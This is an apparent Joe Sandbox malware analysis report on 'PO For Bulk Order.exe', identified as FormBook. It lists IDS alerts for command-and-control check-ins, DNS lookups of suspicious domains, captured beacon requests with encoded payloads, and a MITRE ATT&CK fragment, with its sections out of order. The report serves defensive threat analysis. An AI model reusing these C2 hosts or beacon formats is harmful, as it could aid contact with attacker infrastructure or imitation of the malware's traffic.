Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Timestomp	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 DLL Side-Loading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source: C:\Windows\SysWOW64\replace.exe	Code function: 4x nop then xor eax, eax		5_2_02809E50
Source: C:\Windows\SysWOW64\replace.exe	Code function: 4x nop then mov ebx, 00000004h		5_2_02EA04DE

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49934 -> 37.27.60.109:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49984 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49996 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50000 -> 51.222.255.207:80
Source: Network traffic	Suricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.5:49991 -> 162.43.104.171:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50020 -> 47.83.1.90:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49988 -> 103.163.208.117:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50032 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50028 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50008 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50016 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50004 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49992 -> 162.43.104.171:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50024 -> 199.59.243.228:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50012 -> 157.112.187.77:80

Source: Joe Sandbox View	IP Address: 37.27.60.109 37.27.60.109
Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 209.74.77.107 209.74.77.107

Source: Joe Sandbox View	ASN Name: UNINETAZ UNINETAZ
Source: Joe Sandbox View	ASN Name: SAKURA-CSAKURAInternetIncJP SAKURA-CSAKURAInternetIncJP

Source: PO For Bulk Order.exe	Virustotal: Detection: 55%			Perma Link
Source: PO For Bulk Order.exe	ReversingLabs: Detection: 60%

Source:	DNS query: www.blogkart4u.xyz
Source:	DNS query: www.kedutaan.xyz
Source:	DNS query: www.splogi.xyz
Source:	DNS query: www.splogi.xyz
Source:	DNS query: www.sidang.xyz
Source:	DNS query: www.socialsyndication.xyz

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /pbr5/?3B=1n1Puvt8QtPl&yzj=Yl2FKqcSu58tRHufwBcjCQXCa4z18G7M/j+eiyxIwrXfqOv31p0EhMvAj1ef0KCdgiqAQZoO0dbJScDJzUc/sgqJlvYcKOaTt+9XYi2vmeAca9d+tz4MtyuO248IWll/fQ== HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.leadmagnetkpis.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic	HTTP traffic detected: GET /wj75/?yzj=nqpH8s74NEtc8/pD1HxiMl04o8GhyAshB94VaYYOVFqsk6PDG1VQWtt75lLyQbbZn+crpqT4wG/bYUiag1E9Q63iNiHq/FLaItaXViwTVRbZz9zYcds+qLrtLckIYhIBBA==&3B=1n1Puvt8QtPl HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.blogkart4u.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic	HTTP traffic detected: GET /ys16/?yzj=6RFJEuKjIKVrvAB6aZaUKUlMgUMeJUWdgidkyD4UtXYdlueDNjpuXsvsmxy9Wo2Imwc9y0eIQyTt1vRP8AlOXFepQBXRsrD+Z/pe2PVwQCOpIPm+gWhHohD0H9rU9ZAP8Q==&3B=1n1Puvt8QtPl HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.yonghong168.onlineConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic	HTTP traffic detected: GET /cix8/?yzj=KkpGzPOQJv3cRiCaeeUDZaizyCoYumL3CtrFSDa8SiETOxE3oc1/qDnLf+s+nAW3StPwno19FaxhH3+E/zmvEBVq9c6wysj/cHV2Xlp8CE3Iv4LPAHzhyNu7SL585Y75vQ==&3B=1n1Puvt8QtPl HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.nexstep.liveConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic	HTTP traffic detected: GET /9gmn/?yzj=Y+kUYSQl1t3ir7ZKuDi9GjoPpENV37e2t8tFInFFCzGi8XVku6ai1V8O1BIkZ/ZcrOaxGX0vvMyZ7UALsNn2f2aOIuj6JkvCVCPgdOb7UYoSEdK/LGCJkukwKq7RfS7/PQ==&3B=1n1Puvt8QtPl HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.streone.liveConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic	HTTP traffic detected: GET /6rrl/?yzj=/ZFWMsgjzMWRuCy/etFRNSH9UMLtVkIahF+g+8UE6VY9u3ZFg1txI5lYvzrc3Gl6OI1BFOqO3jF6DKH3B1FeRXA7wDnxNfbK4TiYat6ouEx4IG2gtJUsXioFnC6SodiegQ==&3B=1n1Puvt8QtPl HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.playav.mobiConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic	HTTP traffic detected: GET /z1lx/?3B=1n1Puvt8QtPl&yzj=ipvept806a+/1EIXqFZgy45Ura+EQ0De1UfENUgy1WAglL1OWhmf3ycSiKcjiwNwxUSHXfJg7RcVCeKQJbBWTxlltbu5P5x6gYq+CInETZRp+8biaJbOEN2rl/Lxz/M0Mg== HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.scottish.cafeConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic	HTTP traffic detected: GET /uzoe/?yzj=eyATpBLRC6V3hdhRvpBqu0INPSWOlA9MIOg6KR4VUcFXfEzP0/KKyYnDVCHin3Kg5Yc5KmVkEsBV2/uNK/3JK3z+2G5ueYDD7i+eXErirlKFIOIZzOjvIJ5iGSNhLByEwA==&3B=1n1Puvt8QtPl HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.kedutaan.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic	HTTP traffic detected: GET /kt0o/?yzj=X2c3BCCM4Zf4rA2N7OHtMdzwwMOvEJ1mme1ZOzygSMYQC3PgMxjpvz8ZzZc35OofSHaEOd9ertqt2Mb9syGuHUi34H8/W8m0FvKXNqu/DTmYdADl/WDPL1DI0qtsh0XaHQ==&3B=1n1Puvt8QtPl HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.splogi.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic	HTTP traffic detected: GET /9txe/?yzj=p5xj04BtjTqndMsCWDhsH4sLh8k5K9OJznI2jVVpWqhrh6OwUY0tILI3xMmMf1peFsTKSlBgPZb9Ux0ak4e405rqC8I3Tvp5JBk41U7BQ5jcl4l56uD4DseyqMSDLz6USQ==&3B=1n1Puvt8QtPl HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.sidang.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic	HTTP traffic detected: GET /34dy/?yzj=I3QqleNvsG0TlI+bCDFI4HIxQrD59+uxgm+82GNJ8BTpO1MdiN150bdUB/MjuTTQ9+R1WM3pMm8H7kuwG7mIor6vzMSBvzhcwItNLXGLEv4aJTVyi/ULBgpQITH5pVl+WQ==&3B=1n1Puvt8QtPl HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.quwzcz.infoConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic	HTTP traffic detected: GET /eai9/?yzj=uz6zB6RZw1q+8U+tj7RBNGr+18AEVKM1n698nSsJn4VLTkQCor1wKLM5tLa0MZhnNdVyE/PY+RkILDmuW9IhUnK42wBAM60xZAaAivB86OmIhaRTFdLD3C15IR9CgM6aYw==&3B=1n1Puvt8QtPl HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.isoemarket.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic	HTTP traffic detected: GET /wasy/?3B=1n1Puvt8QtPl&yzj=bJnduraWaq3YK1l1ZEfjyf6yxPKXqR98chJ1ihhYPUNgfSgCkhLTQwi4Tv8FoOgxe4Us2zXwS0DlX/qu2U6+UjWoDlV7uQituOipX9UQBtjS043TMm5mGNe3slzqwfC6eQ== HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.socialsyndication.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Source: global traffic	HTTP traffic detected: GET /02qs/?yzj=WdWra2k2Kg9QKIakK15suEKW8ncuSoqvHgmmZ3635UDkhB9oBkpYBhIc+A5wR9IuCg5raXtGlnIz7+fgy/9mhdy6FwYmXT+VpSZUORqt/JkxIQTlxkYWoH9f3KjIDqiOrw==&3B=1n1Puvt8QtPl HTTP/1.1Accept: /Accept-Language: en-US,en;q=0.9Host: www.eatdaba.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0

Source: global traffic	DNS traffic detected: DNS query: www.leadmagnetkpis.shop
Source: global traffic	DNS traffic detected: DNS query: www.blogkart4u.xyz
Source: global traffic	DNS traffic detected: DNS query: www.yonghong168.online
Source: global traffic	DNS traffic detected: DNS query: www.nexstep.live
Source: global traffic	DNS traffic detected: DNS query: www.streone.live
Source: global traffic	DNS traffic detected: DNS query: www.playav.mobi
Source: global traffic	DNS traffic detected: DNS query: www.scottish.cafe
Source: global traffic	DNS traffic detected: DNS query: www.kedutaan.xyz
Source: global traffic	DNS traffic detected: DNS query: www.splogi.xyz
Source: global traffic	DNS traffic detected: DNS query: www.sidang.xyz
Source: global traffic	DNS traffic detected: DNS query: www.quwzcz.info
Source: global traffic	DNS traffic detected: DNS query: www.isoemarket.shop
Source: global traffic	DNS traffic detected: DNS query: www.socialsyndication.xyz
Source: global traffic	DNS traffic detected: DNS query: www.eatdaba.shop
Source: global traffic	DNS traffic detected: DNS query: www.kizlo.tech

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO For Bulk Order.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
PO For Bulk Order.exe